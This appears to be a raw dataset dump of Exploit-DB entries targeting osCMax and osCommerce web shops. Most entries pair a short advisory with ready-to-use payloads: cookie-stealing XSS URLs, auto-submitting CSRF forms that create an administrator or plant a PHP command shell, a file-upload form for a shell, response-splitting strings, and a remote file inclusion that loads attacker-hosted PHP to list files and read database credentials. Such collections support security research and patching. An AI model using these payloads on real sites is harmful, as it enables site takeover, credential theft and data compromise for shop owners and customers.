deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37041
Description: osCMax 2.5 - '/admin/stats_products_purchased.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
   
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_products_purchased.php?gross=%22%20%3E%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E
http://www.example.com/admin/stats_products_purchased.php?max=%27%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
Exploit-DB #37040
Description: osCMax 2.5 - '/admin/xsell.php?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
  
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/xsell.php?search=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #39118
Description: osCMax 2.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-03-17
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/66272/info

osCmax is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. 

<html>
<form method="post" name="newmember" action="http://127.0.0.1/catalog/admin/admin_members.php?action=member_new&page=1&mID=1">
<input type="hidden" name="admin_username" value="THETUNISIAN"/>
<input type="hidden" name="admin_firstname" value="Moot3x"/>
<input type="hidden" name="admin_lastname" value="Saad3x"/>
<input type="hidden" name="admin_email_address" value="g4k@hotmail.esxxx"/>
<input type="hidden" name="admin_groups_id" value="1"/>
<!-- About "admin_groups_id" -->
<!-- 1= Top Administrator -->
<!-- 2= Customer Service  -->
<input type='submit' name='Submit4' value="Agregar">
</form>
</html>
Exploit-DB #36248
Description: osCommerce - Arbitrary File Upload / File Disclosure
Type: webapps
Platform: php
Date: 2011-10-20
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/50301/info

osCommerce is prone to a remote file upload and a file disclosure vulnerability. The issues occur because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these issues to upload a file and obtain an arbitrary file's content; other attacks are also possible. 

The following URL is available for the file disclosure vulnerability:

http://www.example.com/admin/shop_file_manager.php/login.php/login.php?action=download&filename=/includes/_includes_configure.php

The following exploit is available for the remote file upload vulnerability: 

<html><head><title> creloaded - Remote File Upload </title></head> <br><br><u>UPLOAD FILE:</u><br> <form name="file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> <input type="file" name="file_1"><br> <input name="submit" type="submit" value=" Upload " > </form> <br><u>CREATE FILE:</u><br> <form name="new_file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=save" method="post"> FILE NAME:<br> <input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br> <textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt; <input name="submit" type="submit" value=" Save " > </form>
Exploit-DB #16113
Description: osCommerce - Authentication Bypass
Type: webapps
Platform: php
Date: 2011-02-04
Author: Nicolas Krassas

Exploit:
This is a bug on old oscommerce / creloaded i just didn't find it in the
exploit-db database on the search.

# Exploit Title: OsCommerce/Creloaded tell a friend authentication bypass
# Date: 04/02/2010
# Author: Nicolas Krassas
# Version: $Id: tell_a_friend.php,v 1.1.1.1 2008/06/29 23:38:03
# Tested on: linux

When /tell_a_friend.php is called directly the user is redirected at
/product_info.php?products_id=0 where an access denied message is displayed.
Providing a valid product id (eg.
/tell_a_friend.php?action=process&products_id=[Product_id] ) though a guest
user can bypass the restriction and send unsolicited mails through the
system.

Regards,
Nicolas Krassas
Exploit-DB #38309
Description: osCommerce - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-02-12
Author: Jakub Galczyk

Exploit:
source: https://www.securityfocus.com/bid/57892/info

osCommerce is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests. 

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible. 

osCommerce 2.3.3 is vulnerable; other versions may also be affected.

The following example data is available: 

<html><body onload="document.runCSRF.submit();"> 
<form method="post" name="runCSRF" 
action="http://www.example.com/catalog/admin/define_language.php?lngdir=english&filename=english/download.php&action=save"> 
<input type="hidden" name="file_contents" 
value="&#x3c;&#x3f;&#x70;&#x68;&#x70;&#x20;&#x24;&#x63;&#x6d;&#x64;">
</form>your shell should be here: 
catalog/includes/languages/english/download.php?cmd=id<br></body></html>
Exploit-DB #21563
Description: osCommerce 2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-06-16
Author: Tim Vandermeerch

Exploit:
source: https://www.securityfocus.com/bid/5037/info

osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php

--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------

-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php

--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------
Output: outputs the application_top.php file wich includes MySQL username,
password, etc.
Exploit-DB #22393
Description: osCommerce 2.1/2.2 - 'Checkout_Payment.php' Error Output Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-20
Author: iProyectos group

Exploit:
source: https://www.securityfocus.com/bid/7155/info

Error output is not sufficiently sanitized of HTML and script code by osCommerce. This may allow for cross-site scripting attacks as remote users could create a malicious link to a site hosting osCommerce which contains hostile HTML and script code. When a such a link is visited, attacker-supplied code could be interpreted in the web client of the user.

http://www.example.com/checkout_payment.php?payment_error=cc&error=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E

Please note that the 'cc' value for 'payment_error' must be substituted with the name of a valid payment module.
Exploit-DB #22391
Description: osCommerce 2.1/2.2 - Error_Message Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-20
Author: iProyectos group

Exploit:
source: https://www.securityfocus.com/bid/7151/info

It has been reported that osCommerce does not sufficiently filter URI parameters supplied to multiple osCommerce scripts. 

As a result of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running osCommerce. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect osCommerce version 2.2ms1, prior versions are reportedly affected.

http://www.example.com/default.php?error_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Exploit-DB #22392
Description: osCommerce 2.1/2.2 - Info_Message Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-20
Author: iProyectos group

Exploit:
source: https://www.securityfocus.com/bid/7153/info

It has been reported that osCommerce does not sufficiently filter URI parameters supplied to multiple osCommerce scripts. 

As a result of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running osCommerce. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect osCommerce version 2.2ms1, prior versions are reportedly affected.

http://www.example.com/default.php?info_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Exploit-DB #31744
Description: osCommerce 2.1/2.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-05
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/29055/info

osCommerce is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

osCommerce 2.2 RC1 and 2.2 RC2a are vulnerable; other versions may also be affected.

http://www.example.com/[oscommerce]/categories.php?cPath=1_4&pID=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=new_product_preview&read=only http://www.example.com/[oscommerce]/categories.php?action=new_product_preview&read=only&pID=27&origin=stats_products_viewed.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/[oscommerce]/orders.php?cID=2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25840
Description: osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-17
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13979/info

osCommerce is prone to multiple HTTP response splitting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit any of these vulnerabilities to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

http://www.example.com/index.php?action=buy_now&products_id=22%0d%0atest:%20poison%20headers!
http://www.example.com/index.php?action=cust_order&pid=2%0d%0atest:%20poison%20headers!
Exploit-DB #28743
Description: osCommerce 2.2 - '/admin/banner_manager.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info

osCommerce is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/catalog/admin/banner_manager.php?page=1[XSS-code]
Exploit-DB #28744
Description: osCommerce 2.2 - '/admin/banner_statistics.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
 
osCommerce is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/catalog/admin/banner_statistics.php?page=1[XSS-code]
Exploit-DB #28745
Description: osCommerce 2.2 - '/admin/countries.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
  
osCommerce is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/catalog/admin/countries.php?page=1[XSS-code]
Exploit-DB #28746
Description: osCommerce 2.2 - '/admin/currencies.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
  
osCommerce is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/catalog/admin/currencies.php?page=1[XSS-code]
Exploit-DB #28747
Description: osCommerce 2.2 - '/admin/languages.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
   
osCommerce is prone to multiple cross-site scripting vulnerabilities.
   
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/catalog/admin/languages.php?page=1[XSS-code]
Exploit-DB #28748
Description: osCommerce 2.2 - '/admin/manufacturers.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
    
osCommerce is prone to multiple cross-site scripting vulnerabilities.
    
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/catalog/admin/manufacturers.php?page=1[XSS-code]
Exploit-DB #28749
Description: osCommerce 2.2 - '/admin/newsletters.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
     
osCommerce is prone to multiple cross-site scripting vulnerabilities.
     
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/newsletters.php?page=1[XSS-code]
Exploit-DB #28750
Description: osCommerce 2.2 - '/admin/orders_status.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
      
osCommerce is prone to multiple cross-site scripting vulnerabilities.
      
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/orders_status.php?page=1[XSS-code]
Exploit-DB #28751
Description: osCommerce 2.2 - '/admin/products_attributes.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
       
osCommerce is prone to multiple cross-site scripting vulnerabilities.
       
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/catalog/admin/products_attributes.php?page=1[XSS-code]
Exploit-DB #28752
Description: osCommerce 2.2 - '/admin/products_expected.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
        
osCommerce is prone to multiple cross-site scripting vulnerabilities.
        
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/products_expected.php?page=1[XSS-code]
Exploit-DB #28753
Description: osCommerce 2.2 - '/admin/reviews.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
         
osCommerce is prone to multiple cross-site scripting vulnerabilities.
         
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/reviews.php?page=1[XSS-code]
Exploit-DB #28754
Description: osCommerce 2.2 - '/admin/specials.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
          
osCommerce is prone to multiple cross-site scripting vulnerabilities.
          
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/specials.php?page=1[XSS-code]
Exploit-DB #28755
Description: osCommerce 2.2 - '/admin/stats_products_purchased.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
           
osCommerce is prone to multiple cross-site scripting vulnerabilities.
           
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/stats_products_purchased.php?page=1[XSS-code]
Exploit-DB #28756
Description: osCommerce 2.2 - '/admin/stats_products_viewed.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
            
osCommerce is prone to multiple cross-site scripting vulnerabilities.
            
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
http://www.example.com/catalog/admin/stats_products_viewed.php?page=1[XSS-code]
Exploit-DB #28757
Description: osCommerce 2.2 - '/admin/tax_classes.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
             
osCommerce is prone to multiple cross-site scripting vulnerabilities.
             
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
        
http://www.example.com/catalog/admin/tax_classes.php?page=1[XSS-code]
Exploit-DB #28758
Description: osCommerce 2.2 - '/admin/tax_rates.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
              
osCommerce is prone to multiple cross-site scripting vulnerabilities.
              
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
         
http://www.example.com/catalog/admin/tax_rates.php?page=1[XSS-code]
Exploit-DB #28759
Description: osCommerce 2.2 - '/admin/zones.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20343/info
               
osCommerce is prone to multiple cross-site scripting vulnerabilities.
               
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
          
http://www.example.com/catalog/admin/zones.php?page=1[XSS-code]
Exploit-DB #25105
Description: osCommerce 2.2 - 'Contact_us.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-15
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/12568/info

A vulnerability is reported to exist in osCommerce that may allow a remote user to launch cross-site scripting attacks.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected Web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in osCommerce version 2.2-MS2, other versions might also be affected. 

http://www.example.com/contact_us.php?&name=1&email=1&enquiry=%3C/textarea%3E%3Cscript%3Ealert('w00t');%3C/script%3E